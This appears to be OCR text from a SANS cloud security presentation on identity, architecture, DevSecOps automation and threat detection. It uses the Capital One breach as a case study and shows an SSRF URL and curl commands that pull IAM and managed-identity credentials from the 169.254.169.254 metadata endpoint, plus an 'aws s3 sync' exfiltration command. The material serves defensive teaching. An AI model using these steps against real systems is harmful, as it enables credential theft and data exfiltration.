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Enterprise Cloud Adoption

Remember, the future can take a long time

Cloud is old and boring - and still in the early stages

Enterprise workloads in public cloud
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Five Key Cloud Security Topics

Trends associated with increasing cloud adoption

IDENTITY ARCHITECTURE AUTOMATION ASSESSMENT

Primary security Design for a cloud- Automation of Identify deviation
perimeter in the first and cloud-native security best from intended
cloud reality practices security best
practices

DETECTION

Leverage cloud
specific monitoring
tools and practices



Capital One Data Breach

1 —FLED ____ENTERED  Hoporable Mary Alice Theiler
— LODGED —___ RECEIVED
« Data stol |
alta Stolen : UL 29 208
AT SEATTLE
. ) . 4 vaes%ﬁﬁ"n‘u’s'?ﬁ.&“%ﬂis%‘.’ﬁm :
o 106 million credit card applicants ;
. . . 7 UNITED STATES DISTRICT COURT FOR THE
« Name, address, date of birth, credit history ; WESTERN DISTRICT OF WASHINGTON
9
[ ] L] L] L] l 0
o 1 million Canadian Social Insurance Numbers o) e stares o aveics, |
12 Plaintiff,
L[] [ ) .
o 140,000 US Social Security Numbers i . COMPLAINT FOR VIOLATION OF
14 S.C.
PAIGE A. THOMPSON,
15 a/k/a “erratic”
o 80,000 bank account numbers i it
17
° ° 18 Before, the Honorable Mary Alice Theiler, United States Magistrate Judge, United
[ } F B I affl d aVlt 19 || States Courthouse, 700 Stewart Street, Seattle, Washington.
20
Describes many interesting technical details of . et
O esc 1 eS a y 1 e es 1 g ec lca e al S O 23 Between on or about March 12, 2019, and on or abput July 17,2019, at Seattle,
24 within the Western District of Washington, and elsewhere, PAIGE A. THOMPSON
th e attaCk 25 intentionally accessed a computer without authorization, to wit, a computer containing
2% information belonging to Capital One Financial Corporation, and thereby obtained
27 information contained in a financial record of a financial institution and of a card issuer
28
UNITED STATES ATTORNEY
THOMPSON COMPLAINT / No. MJ19-344 - | 700 STEWART STREET, SUITE 5220

SEATTLE, WASHINGTON 98101
(206) 553-7970
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Attack Overview

o Public subnet
-,
\ \

Attacker

N

1) Discovers application
vulnerable to SSRF

2) Steals temporary
security credentials

3) Uses credentials to
access sensitive data
stored in S3

B
9,
STS
T AWSSTS
\ Amazon EC2 0
\ e Temporary security

credential

Amazon S3




Server Side Request Forgery (SSRF)

 SSRF occurs when

o Application requests data from another URL which is supplied from an
untrusted location

Normal Request

[Q https://mybank.com/forward?target=nttps://example.com/api/users ]

Malicious Request

Q https://mybank.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-
credentials/Bad-WAF-Role/
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SSRF Attack

» Using SSRF to steal credentials from the AWS metadata endpoint

Q https://mybank.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-
credentials/Bad-WAF-Role/

» Application response:

{ "Code" : "Success",
"LastUpdated" : "2020-04-16T18:36:312",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA54BL6PJR3MV6PUNZ",
"SecretAccessKey" : "SOM6vF4UmM1fmV5B/bM21lalWpdTzocbUsSWMMHRI",
"Token" : "IQoJb3JpZ2l1uX2VjEJP..3QtMSJGMEQCIGlgtwykQYitLv8Vg==",
"Expiration" : "2020-04-17T00:52:192" }

ws
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Data Exfiltration

« AWS command to download contents of a S3 bucket

1 $ aws s3 sync s3://credit-card-apps ~/Downloads/dump

2

3 download: s3://credit-card-apps/w2/1/2017-w2.pdf to w2/1/2017-w2.pdf
4  download: s3://credit-card-apps/w2/3/2017-w2.pdf to w2/3/2017-w2.pdf
5 download: s3://credit-card-apps/w2/1/2018-w2.pdf to w2/1/2018-w2.pdf
6 download: s3://credit-card-apps/w2/4/2017-w2.pdf to w2/4/2017-w2.pdf
7 download: s3://credit-card-apps/w2/3/2018-w2.pdf to w2/3/2018-w2.pdf
8 download: s3://credit-card-apps/w2/2/2018-w2.pdf to w2/2/2018-w2.pdf
9 download: s3://credit-card-apps/w2/4/2018-w2.pdf to w2/4/2018-w2.pdf
10 download: s3://credit-card-apps/w2/2/2017-w2.pdf to w2/2/2017-w2.pdf
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Virtual Machine Service Accounts

 Virtual machines gain access to other cloud resources (storage,
secrets, database, etc.) by executing with predefined permissions:

AWS EC2  Instance profile

AzurevM [MEIM - Managed identity

VM

GCP GCE @  Service account

Source: SEC510: Multicloud Security Assessment & Defense
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AWS: Instance Profile Credentials (IMDSv1)

Reading the instance profile credentials from IMDSv1:

1 S curl -s "http://169.254.169.254/1latest/meta-data/iam/security-
2 credentials/Bad-WAF-Role"

Response displaying the instance profile credentials:

{ "Code" : "Success",
"LastUpdated" : "2020-04-16T18:36:312", @
"Type" : "AWS-HMAC", [
"AccessKeyId" : "ASIA54BL6PJR3MV6PUNZ",

"SecretAccessKey" : "SOM6vF4UmM1fmV5B/bM21lalWpdTzocbUsSWMMHRI",
"Token" : "IQoJb3JpZ21uX2VjEJP..3QtMSJGMEQCIGlgtwykQYitLv8vVg==",
"Expiration" : "2020-04-17T00:52:192" }

N o U1 B~ WD

Source: SEC510: Multicloud Security Assessment & Defense
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IAM Instance Profile Role

1 BadWafRole:

2 Type: AWS::IAM: :Role

3 Properties: ****-WAF-Role
4 RoleName: "Bad-WAF-Role" : called out in FBI
5 Policies: affidavit

6 - PolicyName: "Bad-WAF-Policy"

] PolicyDocument:

8 Version: 2012-10-17

9 Statement:

10 - Effect: "Allow"

11 Actions:

12 - "s3:List*"

13 - "s3:Get*"

14 Resource: "*"

ws



Azure: Managed ldentity Credentials (IMDS)

Requesting the managed identity JWT for accessing the storage

service:
1 $ curl "http://169.254.169.254/metadata/identity/ocauth2/token?api-
2 version=2018-02-01&resource=https://storage.azure.com/"
3 -H "Metadata: true"

Response returning a JWT for storage access:

1 { "access token": "eyJ0eXAiOiJKV1iJSUzIl.eyJhdWQiOiJodHRwcz

2 ovL6nF . 9GBdAVCbC. . .d4EjV2m ADfn7g9BoDsK9ID-18£fvQKuQ",

3 "client id": "0c59f4s6-5084-43c2-89c2-55c4eflo8c8c", ... IEI
4 "expires on": "1587083445", S
5 "resource": "https://storage.azure.com/",

6 "token type": "Bearer" }

Source: SEC510: Public Cloud Security: AWS, Azure, and GCP

ws



Multicloud Instance Metadata APl Summary

Multicloud comparison of the metadata API security controls:

SSRF Token Token Requires Prevents
Protection Timeout Scope REST API Extraction

6 hours

AWS vl

AWS v2 Yes 6 hours No No Yes
Azure Yes 24 hours Yes Yes No

GCP vl @ Yes 1 hour No Yes No

Source: SEC510: Public Cloud Security: AWS, Azure, and GCP
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Cloud Hierarchical Account Structures

adWS5 A Azure & Google Cloud

\./‘7

Management
Account

Organizational
Unit (OU)



Enforcing Cloud Policies

dW5S A Azure £Y Google Cloud

\/‘7
Azure Policy Organizational Policy

Service Control Policies
(SCP)

Prevent actions from being Configure constraints across
taken within an Account resource hierarchy

Many detailed out-of-the-box
constraints

Can be a complicated Configuration based on list of
interaction with |IAM values or a boolean

Does not grant privileges Goes much further than SCPs

i ) Start with audit mode and move . :
No audit mode available . No audit mode available
to remediation

ws



AWS Regions and Availability Zones

( e
I

| Availability|
| Zone |
us-east-1a |

I
\ —

SRR

| Availability|
| Zone | | Zone

| us-east-1b | | us-east-1c
\ (e — _

....
---------------------------------------------------------------------

Region

us-east-1 (N. Virginia)

| Availability|

\

( I N

|
| Availability|
| Zone |

| eu-west-1a |
\ e —

PN

SRR

| Availability|
| Zone | | Zone

| eu-west-1b | | eu-west-1c
\ (e — _

’’’’’
---------------------------------------------------------------------

Region

eu-west-1 (Ireland)

| Availability|

\

(____'\

|
| Availability|
| Zone

| ap-northeast—1a|
|

| Availability| |

| Availability| :
| Zone | | Zone
| ap-northeast-1b | | ap-northeast-1c |
| R -
Region

ap-northeast-1 (Tokyo)

AWS cloud




AWS Security Reference Architecture — Overview

AWS Organization

| I:I(A) Org Management account
DCAD OU — Security ‘ DCA> OU - Infrastructure ‘ DCA> OU — Workloads
O CA) Security Tooling account O CA) Network account O CA) Application account
O é Log Archive account O é Shared Services account
Security Administration Applications



AWS Security Reference Architecture — Security

AWS Organization

@ OU - Security

n&| OU — Security

%é Org Management account

AWS CloudTrail —
sl organization trail

I8 AWS Config
AWS Systems Manager

IAM access advisor

AWS Single Sign-On

Security Tooling account

Gy AWS Firewall Manager
Amazon Detective
AWS Security Hub
Amazon GuardDuty
Amazon Macie

5| AWS KMS

AWS Config aggregator
%yl Amazon EventBridge

5 AWS IAM Access Analyzer

Log Archive account

Central logs

/

Access DNS

Org trail  |opgs logs Flowlogs

What security controls are
missing from this account?
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Infrastructure as Code

Defining infrastructure configuration in code:
« Treat runtimes like cattle, not pets
« Standardize within/across environments
« Create environments that are easy and cheap to set up, tear down




CloudFormation Example

Creating an EC2 instance

- Ref SecurityGroupPublic
SubnetId: !'!Ref SubnetPublic
UserData:

1 InstancePublic:

2 Type: AWS::EC2::Instance

3 Properties:

4 TamInstanceProfile: !Ref

5 InstanceProfilePhotoReadOnly
6 ImagelId: !FindInMap [Images, !Ref "AWS::Region", ecs]
7 InstanceType: "t2.micro"

8 KeyName: "secretKey"

9 SecurityGrouplds:

10

11

12

13

Source: SEC540: Cloud Security and DevSecOps Automation

ws



Continuous Integration / Delivery Systems

Version control push events on the develop / main branches trigger
workflow pipelines for building, testing, and deploying the changes:

O & dJ

GitHub GitLab Azure DevOps
Actions Cl/CD

</>

O circleci
Jenkins CodePipeline

ws



DevOps Pipeline

* DevOps cycles through five key phases

. ol Automated build QUEOmated Steps before, Continuous
Activities before acceptance and . SO
during, and after monitoring,

and Continuous
code is deployed testing, audit, and
to production compliance checks

code is checked in functional testing

Integration (CI)

with Continuous
steps

Delivery (CD)

to version control

Source: SEC540: Cloud Security and DevSecOps Automation

ws



DevSecOps Tools and Processes

T FET D TR Ll
THREAT STATIC CODE DYNAMIC SECURITY SBLAM
MODELING ANALYSIS SECURITY TESTS SMOKETESTS POSTMORTEMS

IDE SECURITY SECURITY ACCEPTANCE SECURITY ONTINUOU
PLUGINS UNITTESTS TESTS CONFIGURATION
PRE-COMMIT DEPENDENCY INFRASTRUCTURE SECRETS PEN R/
HOOKS MANAGEMENT AS CODE MANAGEMENT
PEER CODE CONTAINER CONFIG SERVER HR
REVIEW SECURITY MANAGEMENT HARDENING INTELLIGENCE

Source: SEC540: Cloud Security and DevSecOps Automation




Infrastructure Deployment via Jenkins

+/ DM Cloud Infrastructure Pipeline < 6 Pipeline Changes Tests®  Anifacts O £

Branch: master @ 14m 2s Changes by eric.johnson, frank

Commit: 9d94009 (© 2 minutes ago Branch indexing

Start Initialize Build Test Deploy Post Deploy End

—O @ @ © O—o

ACM Certificate 1

CloudFormation

B";et Deploy step calls:
CloudFront OAID aws cloudformation deploy

© ——stack—name DM-Infrastructure
CloudWatch Logs -—template-file main.yaml



Security Testing in CI/CD Pipeline

> DM Cloud Infrastructure Pipeline < 12 Pipeline Changes Tests @ Artifacts ) s a = | Logout | x

Branch: master [ @ 53s Changes by SANS Student

Commit: 42d@1c2 (® 2 minutes ago Branch indexing

Start Initialize Build Test Deploy Post Deploy End

——0 © 0—\0 O )

ACM Certificate

CloudFormation
Bucket

CloudFront OAID

Cloudwatch Logs

Test step calls:

cfn nag scan -1 templates -o json

Source: SEC540: Cloud Security and DevSecOps Automation



Test Results in CI/CD Pipeline

X DM Cloud Infrastructure Pipeline < 12 Pipeline

Branch: master @ @ 53s Changes by SANS Student

Commit: 42d@1c2 © amonth ago Branch indexing

4 tests have failed
x There are O new tests failing, 4 existing failing

and 0 skipped.

Existing failures - 4

» 1AM role should not allow * resource with PassRole action on its permissions policy - F38

» CloudFront Distribution should enable access logging - W10

» Resource found with an explicit name, this disallows updates that require replacement of this resource - W28

» Resource found with an explicit name, this disallows updates that reguire replacement of this resource - W28

Source: SEC540: Cloud Security and DevSecOps Automation




Continuous Delivery vs. Continuous Deployment

Continuous Delivery

[ Code Done H Unit Tests H Integrate H Acceptance] [ Deploy.to ]
Tests Production

Auto Auto Auto %

Continuous Deployment

[ Code Done ]—P[ Unit Tests ]—P[ Integrate ]—P[ Acceptance ]—P[ Deploy.to ]
Tests . Production

Auto Auto Auto Auto
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Cloud Provider Benchmarks

CIS Benchmarks for the key public cloud providers:

Step-by-step assessment checklist and implementation
procedures for hardening a cloud account

Provides a foundational baseline for key services:
 Identity and Access Management, Logging and Monitoring
« Networking and Virtual Machines, Storage Services, and more

@ aWS AAzu re -

Google Cloud

ws e



Cloud Security Tools

CSPM CWPP CASB

Cloud Security Cloud Workload Cloud Access
Posture Management Protection Platform Security Broker
* Scans public cloud laaS & * Scans “cloud native” * Provides visibility and
Paa$S offerings infrastructure control of SaaS solutions
« Compares configuration to * Supports container-based * Identifies Saa$ services used
benchmarks and best and Kubernetes by the organization
practices architectures * Can provide access control
* Identifies misconfigurations * Identifies issues in private, and encryption
and insecure settings public, and hybrid

deployments

ws



Modern Architecture Protections

Microsoft

CSPM

CWPP

Legacy Data
Center N




Cloud Security Alliance (CSA) Guidance

Provides cloud security guidance for each of the following domains:

Domain | Domain 2 Domain 3 Domain 4
Cloud Computing Concepts Governance and Enterprise Legal Issues, Contracts, and Compliance and Audit
and Architectures Risk Management Electronic Discovery Management
Domain 5 Domain 6 Domain 7 Domain 8
Information Governance Management Plane and Infrastructure Security Virtualization and Containers

Business Continuity

Domain 9 Domain 10 Domain | | Domain 12

Incident Response Application Security Data Security and Encryption Identity, Entitlement, and
Access Management

Domain 13 Domain |4

Security as a Service Related Technologies

ws



Well-Architected Frameworks

Security _
Pillar

—

dWs

\-/‘7

Security Best Practices

AAzu re

Security Topics

a

Google Cloud

Security Best Practices

Security Best Practices

Security Foundations

Identity and Access Management
Detection

Infrastructure Protection

Data Protection

Incident Response

Role of security

Security design principles

Types of attacks to resist
Regulatory compliance

Reduce organizational risk
Administration

Applications and services
Governance, risk, and compliance
Identity and access management
Info protection and storage
Network security and containment
Security Operations

Manage risk with controls

Manage authentication and
authorization

Implement compute security controls
Secure the network

Implement data security controls
Build with application supply chain
controls

Audit your infrastructure
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SEC541 | Cloud Security Threat Detection 39

SANS | securrry

Lateral
Movement
4 techniques
Initial Access Execution Persistence Privilege Defense Evasion Credential Discovery Lateral Internal
Escalation Access Maovement Lo 1
3 technigues A achnigques T technigues 5 techniques 12 techniques 11 technigues 14 techniques 4 technigues Spearphlshlng
Drriverby Cloud Account Ahuse Elevation Abuse Elevation Brute Force o4 Accoun Intemal
Compramize Administration Manizulation ;s Contral Contrel Mechanism Discovery iz Spearphishing Remote
Command Machanizm Credentials from Services
Explat Fublic- Create Account g Cromain Folicy Pasaword Cloud 2 ]
Fiﬂii‘lg Command and » Av:l::nunlt Modification Stores |1 Infrastructure
Application 1 Scripti Ewvent Trigger Manipulation ;5 Dizeove :
- In:eF;rEer M Ean:m:ul:lr:nﬁl;I b - Explaitation far Defense  Exploltation for & Taint Shared Taint Shared
nPhIEhmg ¥ | Damain Policy Evasian Credential Access  Cloud Service Content Content
- Serderless Irriplant IFtermal Kadification o Dashboard
Trusted Execution Imige Hide Artifacts Farge Web Usa Alternate
Relationshin Event Triggerad Credentials Elnud Sarvice :ﬂ:nhenrlir:mim Use Alternate
Usar Pedify Exacution Impair Defenses 1, isCavary atarial /1 : .
i alid I Exmcution i ‘ Authantication - ' Madily “ Autheptlcatlon
ACCounts &) Process o n"-'alu:l Accounts .z [ Impersonation Authentication Cloud Storage Material 2)
Process Object tMacovery
Offica Applicatien Indicator Rermoval 1)
B1artup g Mult-Factor Log Enumneration
hodify Authentication | Authentication
Walid Accounts o, Process o), Request Generatlon  Metwork Serdesa
Discovery
Modify Claud Matwark Eniffing
Camgaute Matwark Sniffing
Infrastructure i« Steal Application
Acoess Token Passwiard Policy
Unused/Unsupported Discovary
Cloud Regions S1eal or Forge
Authentication Permiazion
Uze Alternate Certificates Groups
Autheritication Dizcovery 1
Material g Steal Web Session
Cookie Software
s i By i

Unsacured
Credentials System
Information

MITRE ATT&CK -

Syatem Locetion
Dlizcovar

Valid Aceounts g I




Center for Internet Security: Benchmarks

SEC541 | Cloud Security Threat Detection

* CIS collaborates with the community and cloud providers to create cloud
specific benchmarks that specify how to implement a control.

CIS Control 6.5: Require MFA for Administrative Access

|

-

Azure Benchmark 1.2.4: Ensure that a
Multi-Factor Authentication Policy Exists

AWS Benchmark 1.10: Ensure MFA is
enabled for all IAM Users that have console

1 password

T1110: Brute Force Attack

« CIS Benchmarks are available for all major clouds, operating systems,

databases, and even Zoom.

40



SEC541 | Cloud Security Threat Detection

Cloud Attacks Are Different

« Some attack techniques are the same in the cloud as on-premises:
— SSH brute force to gain access to a web server
— Perform website traversal attack to run code on an EC2-based website

« Some attacks might have similar goals but look different in the cloud:
— Performing a discovery of cloud services while operating on a hacked website
— Stealing another workload's credentials by stealing its identity token

41



SAN-S CLOUD SEC541 | Cloud Security Threat Detection 42

SECURITY

Cloud Managed Detection Services

Cloud providers offer detection services for establishing a baseline:

Defender for Cloud — . :
AWS GuardDuty Security Alerts and Incidents GCP - Sensitive Actions

« Signature-based detections « Alerts covering the cloud-control « Small portfolio of
integrating threat intelligence plane and OS-layer signature-based
feeds Comprehensive coverage, detections. o

. Categories of findings alerting subscribers to detected Reports when certain high-
include those affecting EC2, threats using machine learning risk actions are performed
IAM, Kubernetes Clusters, and threat intelligence feeds to In your organization or
S3 buckets and findings augment findings. project

targeting OS-layer malware
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SECURITY

GuardDuty

UnauthorizedAccess:lAMUser/InstanceCredentialExfiltration.OutsideAWS @& >
Finding ID: 9ebf7dac3311dbe405ceab37b1281496 Feedback

InstanceCredentialExfiltration.OutsideAWS

means a role has been used outside of o
AWS overview

m Credentials created exclusively for an EC2 instance using instance role inspector-role have been used
from external IP address 96.244.213.157. Learn More [

HIGH (SRS ]
us-east-1

2

425280944264 @a

i-Ofed491e2f202b6bed

The API CaII that WaS made’ traCked 02-14-2022 22:06:21 (an hour ago)

02-14-2022 22:55:13 (12 minutes ago)

from CloudTrall \; e

AWS_API_CALL Qe

Where the originating IP was from in s PO e e e e P . o "

Actor
Remote |IP @0
96.244.213.157 CRS Y

L R U S S S UV

The Access Key ID is unique, and it
can be tracked in CloudTralil _—)

AN e et P

ASIAWGBFYHCEL7HRFBYX

AROAWGBFYHCEITIMMIEX ):i-0fe49122f202b6be9 i
RO TR R — i T B



SANS St2iRry
The "Starting Lineup” For Automated Detections and Response

Amazon GuardDuty Amazon EventBridge AWS Lambda
AWS Config (Rule) AWS Config (Remediation) AWS Step Functions
AWS IAM Access Analyzer Amazon Kinesis AWS SNS
Amazon CloudWatch AWS SQS AWS Systems Manager
Microsoft Defender for Cloud Azure Event Hub Azure Logic Apps... Again
Microsoft Defender XDR Azure Logic Apps Azure Functions
Microsoft Sentinel (Analytic) Azure Data Factory Azure Durable Functions

Azure Policy (Compliance) Azure Event Grid Azure Policy (Remediation)

SEC541 | Cloud Security Threat Detection

44
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SANS| 2R
Automation Case Study #1: AWS Automated Response In Action

CloudTrail EventBridge

CloudTrail Management Events E

useridentity.sessionContext.ec2RoleDelivery: "2.0"

s3:ListBuckets

S3 Service
v C
v ompare Source IP and Instance IP
Create Block203.0.113.42 Policy
X Attach Block203.0.113.42 Policy
SherlocksBlogRole Block203.0.113.42

AnalyzelnstanceCredentials



In Summary

IDENTITY ARCHITECTURE

Primary security Design for a cloud-
perimeter in the first and cloud-native
cloud reality

AUTOMATION

Automation of
security best
practices

ASSESSMENT

Identify deviation
from intended
security best
practices

DETECTION

Leverage cloud
specific monitoring
tools and practices
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sans.org/cloud-security/ace
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Cloud Security Wireframe

SECURITY
ANALYST

Prevent

SECURIT
Defend ENGINEE
Automate

Attack

Discover

CLOUD
4/ DETECTION \
& RESPONSE



SEC  Public Cloud Security: AWS, Azure, and GCP | GPcs
510 Multiple clouds require multiple solutions.

SEC Cloud Securlty and DevSecOps Automation | GCSA
540 The cloud moves fast Automate to keep up.

Baseline Foundational Security Techniques

Introduction to o | Cloud Securlty Attacker Techmques, Momtormg& Threat Detection | cTp
Cloud Computin ou sec“"ty Attackers can run but not hide. Our radar sees all threats.

SEC 1puting Essentials | GcLp
and Security

388 . . .
Ground school for ﬁfﬁi'ésﬁetfu'r?&' e Enterprise Cloud Security Architecture
cloud security ’ Design it right from the start.

Security

Mallageryent Application Security: Securing Web Apps, APIs, and Microservices | GWEB

Not a matter of “if” but “when.” Be prepared for a web attack. We'll teach you how.

Leading Cloud
MGT Security Desngn and

- Implementation

Chart your course to
cloud security.

Cloud Penetration Testing | GcPn
Aim your arrows to the sky and penetrate the cloud.

Enterprise Cloud Forensics and Incident Response | GCFR
Find the storm in the cloud.
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CLOUD SECURITY
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SANS Cloud Security
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SANS Cloud Security Curriculum

vtom 2 ssaroe Wednesday, September 6 at 10:00am ET | 14:00 UTC

SANS believes that the cloud is a transformative technology that
wil define the technology landscape for many years to come.
Given the unmitigated growth of Cloud, we have launched the

Cloud Security Curriculum to give you the training and skills you
|t Works hop =

Focus on where the cloud is going, not where it is today. Your
READ MORE

SANS Cloud Security Curriculum

Summits

AN
DUD .
DUNDATIC
RAMEWORKS
i D REYOND

Latest Cloud Security News & Updates @~ s v @

2
4’“”6 OFF INTO CYBERSECURITY .
- Secure Service Configuration in AWS, Firebase: Google Cloud's Evil
050 Azure, & GCP ]
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